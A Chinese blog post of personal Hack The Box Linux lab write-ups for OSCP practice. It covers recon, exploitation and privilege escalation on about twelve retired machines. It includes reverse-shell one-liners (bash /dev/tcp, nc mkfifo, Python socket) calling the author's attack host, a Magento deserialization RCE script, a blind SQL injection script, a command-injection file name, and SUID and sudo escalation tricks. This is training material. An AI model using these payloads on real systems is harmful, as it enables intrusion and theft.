Hack The Box：Linux 靶机笔记

Sun, 10 Nov 2024 15:15:00 +0800

这里包括大部分hackthebox关于oscp的靶场大部分都是按照个人思路来的

1.sense

信息收集:

(关机了大致如下)

在https://10.10.10.60/system-users.txt 找到了密码

默认账户/密码为 admin:pfsense

当前的账号密码则为 rohit/pfsense

whatweb没有扫到指纹在源码页面查找sense 找到了框架为 pfsense 所以才有这一系列操作

登陆成功主页有版本 2.1.3-RELEASE

漏洞利用出现问题

源码无法直接使用更改源码构造payload

大概率挂了ssl所以访问报错得手动访问就行将cookie放到代码里改代码就行了得有点python基础

访问直接反弹shell 关机了没截图

两个flag:

/home/rohit/user.txt

/root/root.txt

入门难度

2.Nibbles

信息收集:

先简单扫描一下

指纹

找到默认口令

admin/nibbles

kali下有个默认msf利用脚本针对oscp来说一般不使用msf脚本

找到了一个github脚本并且根据该漏洞描述也可以自己构造脚本

https://github.com/dix0nym/CVE-2015-6967

读了下代码主要是从admin.php?controller=plugins&action=config&plugin=my_image 传文件

然后并访问执行写一个弹shell的php即可

<?php exec(“bash -c ’exec bash -i >& /dev/tcp/10.10.16.19/9999 <&1’”);?>

收到了nibbler的shell

http://10.10.10.75/nibbleblog/content/

目录穿越点不用再读下面文件了直接找配置文件 nibbleblog 加权了不让读

发现三个点最明显的利用应该是最下面的那个但还是挨个来

先生成一个tty

python3 -c ‘import pty; pty.spawn("/bin/bash")’

我们不知道密码这一条暂时放下

.nano没有任何东西咱们直接去最后一条

直接提权就行

提权完成也是入门级别主要是熟悉各种操作吧

3.solidstate

已完结借用一下别人的图有部分思路有问题

信息收集：

80端口只找到一个发邮件的界面，翻了半天没东西。

nntp和james-admin 没了解过

smtp不太可能需要登录因为不需要发邮件侧重点当时放到了 pop3

测试出来webadmin@solid-state-security.com这个邮箱貌似存在但是密码不知道大部分时间放到了找pop3 webadmin@solid-state-security.com 的密码上了

后续找到漏洞利用

修改脚本执行成功但是根据描述需要有人登录ssh才能执行我放入的命令而我放入的命令是反弹shell的

所以这一条并不能行得通

这里遇到第一个盲点 4555端口的 james remote admin

在读刚刚那个python脚本时发现了他最开始定义了一个 root/root 的口令

并且脚本的顺利执行是离不开这个弱口令的也就是说 4555端口它通过这个账密登陆成功了

直接telnet 4555 执行命令的截图不见了大致如下输入账号密码直接help

他会出现很多命令其中可以看账户而账户你可以改密码然后登录pop3 看收到的邮件的全部把密码重置即可

挨个看即可

最后在mindy的号发现了密码

pop3基础命令网上都有

这里有了一个立足点，下面就该提权了，提权也犯了个错误看了一下老外的wp

登陆成功，一个小插曲，之前不是提到了反弹shell需要有人登陆吗，刚好另一个接收到了

取消监听就行了

rbash逃逸用的是这个写的很详细

https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D

ssh mindy@10.10.10.51 -t “bash –noprofile”

提权遇到了很多问题

我的思路是sudo开始走但是发现sudo用不了 su切换用户不知道root密码

看看suid发现也没有 cron也看了下基本常规提权没有任何东西

后续找文件只找到个 /opt/tmp.py 这个文件非常可疑我当时没发现有什么联动这个文件我就写个os.system(“id”) 看一下权限我没找到这个文件是不是计划任务

很明显他只可能是当前用户权限但我确实我没找到他是不是计划任务

debian9 4.9.0-3-686-pae 也完全没有提权漏洞

我已经将目光放到了用户目录下的 /bin/ 下面了因为下面也是 777权限也是root的但是实际上我无法用sudo

最后看了wp才发现 /opt/tmp.py 是计划任务我翻了几个他们是利用 pspy 或者 https://linpeas.sh/ 发现的

写个弹shell的就行

实际上这些脚本我都收集过但没有一个利用的习惯只能说思路还是有问题也算是优化了一下思路把

4.Node

信息收集:

从web开始看 node.js开发的找到几个用户名可以记一下

翻了下js文件翻到两个接口

http://10.10.10.58:3000/api/users/

http://10.10.10.58:3000/api/users/latest

在访问主页时，为什么这三个人会显示慢点，我一开始以为ajax的图片加载慢，没想到还有这一出

这个地方其实有个工具能够快速找到 jsfinder 但是oscp一般不允许使用这种自动化的脚本所以我目前是手动翻的

只有最后一个没跑出来

myP14ceAdm1nAcc0uNT manchester

tom spongebob

mark snowflake

挨个登录ssh和网页看看

只有管理员可以下在backup 实际上前端js里也有这个接口但是加了鉴权 /api/admin/backup

backup文件base64解开之后发现为二进制文件用了很多方法都没解开

最后发现这个是zip文件

base64压到文件里然后zip解就行了

app.js里有mongodb的密码 ssh可以直接连

mark:5AYRft73VtFpc84k

这次先把脚本传上去提权，没有任何常规提权，看了下内核找到了exp 这个是最符合的了

传上去编译执行即可获得root权限

5.valentine

信息收集:

dev目录中找到个有意思的文件解开后如下

有一个aes加密的密钥还有一个rsa私钥感觉可能是连接ssh的根据名称来看应该是叫 hype 先试试看

好吧找我们要key的密码

rockyou都没有密码感觉网页里面还有东西

根据他的笔记内容来看应该有个东西要解开确保解码编码在客户端完成在上线之前先修复这个完成之前不要使用任何解码编码器

说实话看的云里雾里的我将想法放到图片上可能是技术问题我发现这个图片啥都没有

我将希望放到目录爆破上这个速度是真的慢但是后面还是看到了几个加密的php文件

其实这里我忘了最重要的一步有时候重要的提示可以手动测试目录的

实际上这玩意啥都没有没有任何思路了

后续只能看了下wp 发现了一个从来没有学习过的点在nmap中扫描 –script vuln

会扫描漏洞而提到的漏洞中存在一个 Heartbleed 这个我完全没了解过算是扩展了思维

https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com

# This is the packet that triggers the memory over-read.

# The heartbeat protocol works by returning to the client the same data that was sent.

# That is, if we send “abcd” the server will return “abcd”.

# The flaw is triggered when we tell the server that we are sending a message that is X bytes long

# (64 kB in this case), but we send a shorter message; OpenSSL won’t check if we really sent the X bytes of data.

# The server will store our message, then read the X bytes of data from its memory

# (it reads the memory region where our message is supposedly stored) and sends that read message back.

# Because we didn’t send any message at all

# (we just told that we sent FF FF bytes, but no message was sent after that)

# when OpenSSL receives our message, it won’t overwrite any of OpenSSL’s memory.

# Because of that, the received message will contain X bytes of actual OpenSSL memory.

这个讲的非常详细，可以了解一下大概逻辑，告诉他我发送了多少个字节，但实际上我们并没有发送，他还是会将字节返回，并且我们并没有发送任何信息，他则会将服务器内存的隐私的信息发回。

kali下有多个脚本测试一下看看

读了一下脚本用法非常简单还可以自定义端口

重启一下靶机主要是因为nmap以及目录爆破工具跑的太多导致重要信息全不见了看了半天ua头全是nmap的

循环了几次发现根本找不到写了一个脚本最后找到了关键的text

解码为 heartbleedbelied

又是一个新问题 google看看

终于拿到了立足点开始提权

第一件事还是sudo看看常规提权，但是没有密码所以用不了，开始探索文件，第一件事上传LinEnum.sh以及pspy

开始探索发现这个linux版本很低有对应的漏洞于是开始打exp

ubuntu 12.04

找到了很多exp 都不行

便开始探索文件历史命令有很多有意思的东西

tmux -S /.devs/dev_sess

执行了一下直接提权root了

了解一下为什么

这个文件加了hype用户组且给了读写权限所以能直接使用这个套接字文件进行通信

这里其实也看到了

定义的难度为初级对于我而言差不多偏中了主要是没有nmap的思路

6.Poison

信息收集:

80端口有个文件包含点

这个地方能利用的非常多首先可以任意文件读取然后有phpinfo的信息还有个暴露了密码

用户密码都有了可以登陆成功

再回过头看看刚刚的文件包含远程代码执行被禁用了

但是还可以将php代码写到他的log里面然后包含log其实也能弹shell

但是他的用户权限好像太低了

这里直接登陆吧

全都翻了一遍看到一个有意思的东西他的shell是cshell 其次有一个secret.zip 这个文件需要密码

用nc传到kali john跑一下rockyou

没跑出来

结果密码就是登录密码 Charix!2#4%6&8(0

啥也没有我没看懂这是啥东西但能确定的是他是个二进制文件

传脚本开始收集一些有意思的点

计划任务：root运行 5分钟跑一次 /usr/libexec/atrun

这个配置文件里也啥都没有

实际上到这发现没有任何常规提权了看看内核

内核也没啥漏洞

只能看wp了全都看了卡住的这一步发现都是通过vnc提权的知道入口点之后开始探索

确实是开了vnc 但是为什么要利用vnc呢？我的理解就是vnc有个什么账密可以找到目前vnc架设于本地得做端口转发

关了防火墙也不行因为他是架设在127.0.0.1上的

因为ssh是通的直接用ssh做转发

ssh隧道：https://wangdoc.com/ssh/port-forwarding，https://harttle.land/2022/05/02/ssh-port-forwarding.html

ssh -L 8081:localhost:5901 charix@10.10.10.84

搭好隧道后引入之前解压的文件

vncviewer -passwd secret 127.0.0.1:5901

这个是vnc的密码文件

并且这玩意可以解密 https://github.com/jeroennijhof/vncpwd

到此就结束了后续的越来越难了主要是学习下思路吧端口转发不一定要用ssh 只是他很方便

最后回顾看wp其实还发现没注意到的点 phpinfo条件竞争

https://github.com/vulhub/vulhub/tree/master/php/inclusion

7.TartarSauce

信息收集：

只有一个80端口就不贴图了

现在是补填所以有些配置可能有些奇怪

这个页面没有任何东西后续通过robots和目录爆破发现了几个地方

http://10.10.10.88/webservices/monstra-3.0.4/admin/ 弱口令admin/admin

但是实际上他禁止了修改文件无法上传任何文件找到的exp都打不通这里我浪费了很多时间才发现是个Rabbit Hole

我看了下 gobuster 还有个wp的目录

这个是wordpress 找到一个 wpadmin的用户但是密码爆不出来

笔记写的很少但是实际上这条路是通的我才记录了下来操作中遇到了很多误区一直在找

最后wordpress这条路一直走不通去看wp 我的wpscan根本扫不到漏洞利用点包括nmap的脚本也扫不出利用点最后利用wpscan加线程才能在20分钟扫完速度太慢了接下来继续

目前我是看到卡的地方实在是没办法了看下一步wp 这里主要是 gwolle-gb 插件有一个远程文件包含的漏洞可以拿到立足点而翻了大部分人的这一步都是wpscan加 –plugins-detection aggressive 也就是全面扫描才可以扫出来我使用的时候需要3个小时后面加了线程缩短到了20分钟

wpscan –url http://10.10.10.88:80/webservices/wp -e ap –plugins-detection aggressive -t 50

nmap

https://nmap.org/nsedoc/scripts/http-wordpress-enum.html

https://nosec.org/home/detail/2844.html #收集插件

这里也是出结果了挨个看插件

找到了关键点了完善了攻击链接下来找exp

拼接就行挂个反弹shell的脚本

根据他的描述和我自己遇到的情况那个url它会在后面拼接一个 wp-load.php

构造文件名称即可

开始提权先做信息收集

简单收集了一下根据所得到的信息基本上就是 sudo tar越权到 onuma了

试试看

生成一个tty

在运行一次脚本做一下信息收集

.nano的历史记录find了一下没有

根据mysql的history 尝试连接一下数据库但是很可惜连不上去

但是pspy帮我发现了一个有意思的东西

跟刚刚那个mysql的history里的东西一模一样

我去查了一下

很明显上面那些都是计划任务但是权限不够并没有给我显示出来

(结束翻wp发现locate可以看到多久运行一次当然find也可以看到但是当时没那个思路至少方向是对的)

赋予的权限导致我没有搜索到他看看内容是啥

全部读了一遍所有的变量都写死了无法进行替换

也就是他会以root的权限将这个备份文件移到 $tmpfile 这个变量目录里我们需要伪造 $tmpfile的压缩文件

不存在条件竞争的问题因为他延时了30秒

根据变量描述它需要对比

/var/www/html

/var/tmp/var/www/html

也就是不同的情况下返回1他会报错相同则会返回0

实际上我们需要操作的很简单

而tmp随意更改写一个文件替换tmp压缩好的文件 tmpfile变量为 /var/tmp

而下面有很多文件 pspy看进程运行的时候直接开始替换即可

编写bash 如果没问题的话赋予它权限执行将会反弹shell 写成su root应该也可以

打包成文件根据basedir的目录结构应该要有/var/www/html

打包成111

出现的时候直接替换掉成功弹出 check

但是 1.sh的权限还是onuma？并且解压完变成了二进制文件啥都不见了

这一步存在很大的问题首先是里面被弄错了变成了二进制文件乱码还有就是权限不对

linux有个特性我在kali上给他配好权限再打包给靶机靶机解压后还是我在kali上的权限

于是我打包了个rwsr-sr-x的权限的bash文件传了上去

权限在靶机上没问题但还是执行失败后续查了资料了解到

在 Unix/Linux 系统中，SUID（设置用户 ID）对于二进制可执行文件和脚本的行为可能不同。通常，许多现代 Linux 发行版对 SUID 脚本有额外的安全限制，以防止潜在的安全风险。这意味着即使设置了 SUID，脚本可能仍无法以预期的方式执行，从而导致它们以普通用户身份运行。

有的时候suid提权可以直接提或者 sudo提但现在明显不行

所以还是必须使用sudo去执行也就是说二进制文件才可以不用sudo 而这种bash脚本依然需要sudo

这里必须传上去一个二进制文件了

1
2
3
4
5
6
7
8
9



```c

#include &lt;unistd.h&gt;
void main() {
execl("/bin/bash", "bash", "-p", NULL);
}

```text

目标机器是32位的

gcc 1.c -o 1 -m32

打包完传上目标机器

还是报错有点扯

gcc -static -m32 -o 1 1.c

至此终于结束了有意思的是我看到一个wp 他的思路很好

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


#!/bin/bash

# work out of shm
cd /dev/shm

# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")

# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" == "" ] ; do
 sleep 10;
 cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
done

# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .

# get filename
fn=$(echo $cur | cut -d'/' -f4)

# extract archive
tar -zxf $fn

# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt

# remove old archive
rm $fn

# create new archive
tar czf $fn var

# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var

# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt

读了下代码

获取到那个文件夹里前面带.的文件然后写死死循环判断如果他的文件列表没有任何变化那就接着死循环如果变化了将cur赋值将目标文件移到上面定义的工作目录解压然后删掉robots.txt 将其替换为 /root/root.txt的ln链接移动文件并改名删除临时文件

至于为什么onuma_backup_error.txt有flag 全在 backeruperer中

errormsg定义的是这个文件

integrity_chk函数调用的diff -r 会将所有目录和文件进行比对在遇到不同的地方也会输出

这里他将错误信息写入了errormsg 而他就是刚刚的onuma_backup_error.txt

所以才能获取到flag

这个脚本思路非常清晰我都感觉是作者写的了

这一个靶机从下午到晚上踩了非常多的坑只能说还没考试学到了很多东西考试中踩这些才是最致命的

8.Irked

信息收集：

1.ssh可以连一下看看有没有提示

2.80端口可以看一下

3.irc忘了去搜了一下发现之前用过https://en.wikipedia.org/wiki/IRC hexchat 是一个聊天的工具而他开了6697默认端口 8067 65534这几个端口版本为UnrealIRCd 还有管理员的邮箱

4.ircbind https://blog.csdn.net/ichen820/article/details/120365560 这一篇写的不错跟nfs有关但是nfs的端口没有开放

全看了一遍

ssh没有东西 80有个manual页面也没爆破出什么东西

看了一下irc hexchat启动即可

查看列表没有任何东西所有端口都看了一遍同一个服务

现在爆破80的同时看看框架漏洞只有UnrealIRCd这个有框架漏洞

读了下代码填参数就行 perl脚本理解不是很困难

自带的几个网址都不行了自行构造payload就行

bash -c ’exec bash -i >& /dev/tcp/10.10.16.19/9999 <&1'

三个端口都打了payload没有一点效果后续找了半天啥都找不到了实在是没办法了

看了下wp就是打这个payload 又去尝试了又不行

后面才知道都是手动打或者自己写脚本就是打不上去脚本有bug

有时候打exp打不上不去简单的可以自己手动构造

算是学会了不能用自带的了其实还有个msf的exp 但是oscp最好不用这个

开始读一下代码吧看看怎么手动构造

在这一块 tcp协议socket连上目标ip/port 连接失败会报错

成功后在调用socket发数据也就是之前的payload 尽量不动一下他的payload 前面加个AB; 就行

成功上来了

他这个太卡了 perl脚本写的是连上了就打exp 咋可能直接能执行得等等所以我感觉是太卡的原因我加了个sleep其实还能用

果然

还是没分析到位

这里浪费了很多时间构造exp的作者应该没考虑这个

现在开始提权先多开个shell

bash -c ’exec bash -i >& /dev/tcp/10.10.16.13/6666 <&1’ > cmd.out 2>&1 &

翻了当前目录下所有的conf文件没找到有用的信息

家目录还有个 djmardov 大概率要越权到这个用户

根据版本找了个exp 打了没效果

LinEnum.sh没有任何东西就不放图了

pspy32也没有有意思的东西

有意思的常规提权 su用不了 sudo不存在根据su的提示我们得通过终端登录我的大致思路就是写私钥看看行不行了

配置没问题可以写

生成一对公钥私钥

改名字把公钥传到服务器上就行名称必须为默认的 authorized_keys

结果连不上去调试了一下看看

版本问题重新生成密钥对

ssh-keygen -t rsa -t ed25519 -f ./new_temp

成功上来了

ok了现在还需要密码才行

最终翻到了这个

user.txt访问不了他的指向也是上级目录的 user.txt

根据提示 steg 刚开始的时候我尝试过用这个去访问大图但是不行这次再试试

没密码没东西就没管

找到密码了

LinEnum.sh发现了一个没见过的服务而且带s权限

伪造文件没问题 root权限

到此就结束了其中工具类的都没任何难度因为都会用还是思路得优化一下在这种靶场上所有的信息都得收集但有的时候信息收集太多了会导致觉得哪处都有问题还是得在细心点

9.FriendZone

信息收集:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
| /wordpress/: Blog
|_ /robots.txt: Robots file
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
139/tcp open netbios-ssn
443/tcp open https
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
445/tcp open microsoft-ds

全都测完了下面写结论

21没有匿名登录没有入口点

22没有入口点

53dns服务器后续可以测域名什么的在oscp这种上每一个服务都有它的作用

80里面有个空的wordpress 有一个域名 friendzoneportal.red

139/445 samba服务可以连一下看看

443 https服务没有任何东西

samba中存在一个未授权共享的文件里面的内容如下

1
2
3


creds for the admin THING:

admin:WORKWORKHhallelujah@#

这个密码 ssh ftp samba都没用

刚刚收集到了一个域名清楚了后缀加hosts

friendzoneportal.red

没东西 dns服务器能帮我们查一下直接发起请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


dig @10.10.10.123 friendzoneportal.red AXFR
这个命令会返回整个 DNS 区域的记录，包括所有的 A、AAAA、CNAME、MX 等记录，以及子域名的信息。

; <<>> DiG 9.18.12-1-Debian <<>> @10.10.10.123 friendzoneportal.red AXFR
; (1 server found)
;; global options: +cmd
friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red. 604800 IN AAAA ::1
friendzoneportal.red. 604800 IN NS localhost.
friendzoneportal.red. 604800 IN A 127.0.0.1
admin.friendzoneportal.red. 604800 IN A 127.0.0.1
files.friendzoneportal.red. 604800 IN A 127.0.0.1
imports.friendzoneportal.red. 604800 IN A 127.0.0.1
vpn.friendzoneportal.red. 604800 IN A 127.0.0.1
friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 660 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)
;; WHEN: Mon Sep 30 08:07:05 EDT 2024
;; XFR size: 9 records (messages 1, bytes 309)

admin.friendzoneportal.red 可以登录

再回去看标题 friendzone.red 还有东西

administrator1.friendzone.red 可以登陆成功里面有一些东西

他这个后面看了一下其实是一个php文件在本地的所以才能调用很明显的lfi

开始测试

因为刚刚加了名称就能访问说明后面大概率加了个.php 因为我访问/etc/passwd 什么都访问不了 php伪协议看一下源码

后面的确会跟个.php

其他的也读了一下没什么有用的现在只缺一个写入文件的操作但是能写入php文件的情况下貌似也用不到这里

看了下 uploads.friendzone.red 一直提示上传成功缺啥都没有

直接读了代码看看

怪不得

明明到这一步了应该没啥问题了只差一个写文件的权限我突然想到了ftp可以写文件而且最主要是 samba有一个可写的目录

ftp没有账密没办法但是samba是可以的

传上去了根据下图猜测估计在/etc目录下

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/1

终于拿到了立足点

再做信息收集:

1
2
3
4
5
6
7


for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

这一步开始还没有上传脚本跑找到了friend的mysql密码

并且发现home里面存在一个friend的用户

直接su不行生成一个tty 可以su切换到friend

python -c ‘import pty; pty.spawn("/bin/bash")’

sudo -l用不了 ssh直接连就行

好吧看错了他的意思是friend不能用sudo 给ban了

我还以为常规提权就结束了直接传脚本上去扫一下吧

1
2
3
4
5
6
7
8


root 596 0.0 0.3 28676 2964 ? Ss 09:12 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
-rwxr-xr-x 1 root root 1232 Apr 19 2018 console-setup.sh
-rwxr-xr-x 1 root root 3809 Feb 15 2018 hwclock.sh
-rwxr-xr-x 1 root root 1479 Feb 16 2018 keyboard-setup.sh
-rw-r--r-- 1 root root 685 Jan 28 2018 resolv.conf
-rw-r--r-- 1 root root 42 Jun 27 2018 apache2-systemd.conf
-rwxr-xr-x 1 root root 92 Feb 22 2018 hdparm
-rw-rw---- 1 friend mail 1 Jan 15 2019 friend

确实没啥东西看一下进程把目前发现的一些提权都是计划任务而我是看不到的看进程能看到

真有计划任务

都注释了但是提到了一个stmp发邮件的服务

也看到了user为you pass为PAPAP

收集完接着搜其他东西发现了个很有意思的东西

基本上能确定了引用os.py 会触发os里面的main函数这个之前写代码的时候遇到过非常多直接往里面加东西就行 os.py底层调用的是 posixmodule.c 而在这个文件内没有system函数直接找python反弹shell的脚本就行写在主函数自然会调用

找到的都带os 找个不带os的就行

找脚本花了很多时间但最后还是找到了

1
2
3
4
5
6
7


import socket
import subprocess
import pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.16.13", 6666))
s_dup = s.fileno()
subprocess.call(["/bin/sh"], stdin=s_dup, stdout=s_dup, stderr=s_dup)

成功弹回shell

至此终于结束了这里也学了很多思维多打打就行了

10.SwagShop

信息收集:

明显是个cms框架第一时间search一下并且找目标版本同时看看有没有默认口令

这些exp没搜到接口所以打不了

目录爆破发现一个有意思的地方

只要是传上去的session都会被记录下来我先进行爆破看看有没有历史的session能登陆的

其实还有个办法只要我一直不动网站目标网站后台如果有定时任务他自然会自动登录我就一直刷新不带cookie 然后看看最近的cookie是哪个就行

完全没有就看定时任务有没有session传上来了等10分钟左右看看吧

还是没有任何定时任务

但是这个session文件是可以打开的直接爆破session文件去看看里面的内容只要不是我的ip就行挨个筛选

剩下的其实还有很多就不列举了

这里面有大量的cookie和接口但是我利用这些cookie包括ua都换了就是访问不到

这个cookie我在想是不是失效了但是我发现他的session可以记录之前访问过的东西同时我发现了这个

自己随便登录一次看看他是怎么记录账密的

完全无法登录

搜哈希的时候扫到了一篇报告而这个路径跟我searchsploit的那个脚本很相似

这篇文章是15年写的当时这个漏洞还算是0day

https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html

我感觉就是处处提示要打exp 但是实际上我并不清楚这个cms的具体版本

就是这个poc 遗忘了这个思路如果没有找到版本信息实际上可能是字典不够强可以直接尝试nday

成功了这个脚本有bug

把没注释的删掉自行加个域名就行而且还有一点很重要就是必须要在后面加个index.php 才能进行引用不然路径索引不到的

终于进后台了

其实这里我还有个代码执行的脚本 37811 当时search的时候找到的缺账号密码所以不能登录现在修改下代码看看能不能getshell

这个脚本问题出现在这他这样请求根本拿不到key 他的思路是之后使用找到的url路径加上key 直接进后台我们将前面登录的全删了把key和url传给他就行

太难搞了只能做代码审计最后终于搞完了

登陆成功需要的两个值在这主页

就在主页

第二个值也在主页切换抓包就行

更新一下日期

构造payload的类型会卡死的必须为a bytes-like object 而不是 str 在原有的代码上改就行所以只能在python2上构造

其实把

这里删掉就行代码的运行失败全因为这里没有登陆成功导致后续失败删掉全改好直接运行即出结果

我调试这个脚本花了非常多的时间一开始从没用过 mechanize 并且直接复用python3的话他的正则表达式要重新写如果单纯的自行把需要的参数直接加进去他也会报错很扯淡

特别是最后一步必须python2发包加密因为生成base64的时候 python2和3还不一样

其实全部看完之后到现在成功执行最简单的方法就是自行去找 tunnel 参数非常简单

而payload这一块自行加参数让他本地生成就行然后只用拼接url 自行访问

下面这个脚本加参数可以直接获得exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


from hashlib import md5
import sys
import re
import base64
import mechanize
arg = "whoami"
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
 '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
 'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
 'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
 '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
 ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
 len(arg), arg)

tunnel = "http://swagshop.htb/index.php/admin/dashboard/tunnel/key/cfd2660c391a49a2ee56a96ffe8300f0/"
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh
print exploit

arg是你想执行的命令

install_date是/app/etc/local.xml 这地方的

tunnel 获取到之后只留住key 后面全删

直接访问出来的exploit那个网址就行了

测试了bash反弹shell不行用了nc弹了回来

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

外网打点这一块对代码审计的要求有点高

提权信息收集：

本来以为要提权到haris 看到了sudo -l 一眼常规提权

sudo /usr/bin/vi /var/www/html/api.php

直接输入 :!/bin/sh

总体来说难点在于他那个cms不是很难而是难在太老了得自己去改脚本做代码审计而且他那些写的一开始我觉得写的抽象但是后面一看写的确实没问题只是要判断的太多了这个大部分时间浪费在外网打点上了

11.Networked

信息收集:

直接说结论吧没有什么东西主要是代码审计

三个文件基本上都审完了全读完了完全没有发现任何漏洞只发现一点就是他的文件命名方式很有特色

审完了依然没东西后续只能看wp 有点炸裂

https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php

https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0

https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html

不知道是靶场太老了还是咋样这种绕过方式我是第一次见

但是实际上它是有提示的

遇到明显的接口函数提示直接搜漏洞

只能说又学到了上面那几个网址介绍的结论就是

你只需要对代码侧进行欺骗，上传个php.gif的文件，然后内容包含php内容，服务器端就会自动解析为php代码

很扯淡

直接弹shell把

开始提权信息收集

到家目录发现一个明显的提权点

每3分钟执行的计划任务权限应该是guly 可以传pspy32看看但是没必要

他会传入一个value的值而这个值是可以加到exec里的

也就是拼接命令就行 nohup /bin/rm -f $path$value > /dev/null 2>&1 &

path都知道是/var/www/html/uploads/ 而value是下面的一个文件

我们在uploads下面touch “1;nc -c sh 10.10.16.13 6666 &”

这样他会弹一个shell回来

没有问题

常规提权去看看这个文件是啥

看了一遍找不出啥问题根据配置名称直接google

https://seclists.org/fulldisclosure/2019/Apr/24

在NAME那直接切换用户看看

结束刚开始以为是纯代码审计搞了半天没想到这种靶场还是更偏向于漏洞利用和搜索能力后续遇到提示或者框架啥的第一时间要先搜payload

12.Jarvis

信息收集：

不能开扫描吧不然要被封

两个域名加到host里

加了域名貌似没什么不一样再看看

貌似不对64999进行攻击就不会被封我开了目录爆破也没事这个封禁机制很奇怪可能是nmap的一些操作导致的

找到个很明显的注入点 oscp要求不能使用sqlmap等等工具这里手测就行

目前不知道绝对路径测了一下当前用户非root 也不清楚有没有写入权限也不知道绝对路径

这一系列因素导致无法写shell 但是我发现了一个phpmyadmin

http://supersecurehotel.htb/phpmyadmin/index.php

这种时候思路就很清楚了直接获取当前用户账号密码登陆进去看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


import requests

headers = {
 'Host': '10.10.10.143',
 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
 'Accept-Language': 'en-US,en;q=0.5',
 'Accept-Encoding': 'gzip, deflate',
 'Connection': 'close',
 'Cookie': 'PHPSESSID=2c1jempek07j9n0fdtce3bcgn7',
 'Upgrade-Insecure-Requests': '1'
}

a = open('2.txt','r',encoding='utf-8').readlines()
print("start")
for number in range(1,18):
 for i in a:
 temp = i.replace('\n', '')
 url = f"http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20User%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+"
 response = requests.get(url=url, headers=headers)
 if response.status_code == 200 and len(response.text) > 6200:
 print(temp, end='', flush=True)
 break

a = open('3.txt','r',encoding='utf-8').readlines()
print("start")
for number in range(2,1000):
 for i in a:
 temp = i.replace('\n', '')
 url = f"http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20Password%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+"
 print(url)
 response = requests.get(url=url, headers=headers)
 print(response.status_code)
 print(len(response.text))
 if response.status_code == 200 and len(response.text) > 6200:
 print(temp, end='', flush=True)
 break

写了个脚本

2.txt 包含这些大写字母（A-Z）（a-z）（0-9）（_，-）

3.txt包含可能的密码首字母一定是*没用后面的都是字符放个字符字典就行

如果获取帐号用的是 select user() 后面会有@localhost

解密

成功进来了

版本4.8.0 找对应的exp就行

50457貌似可以

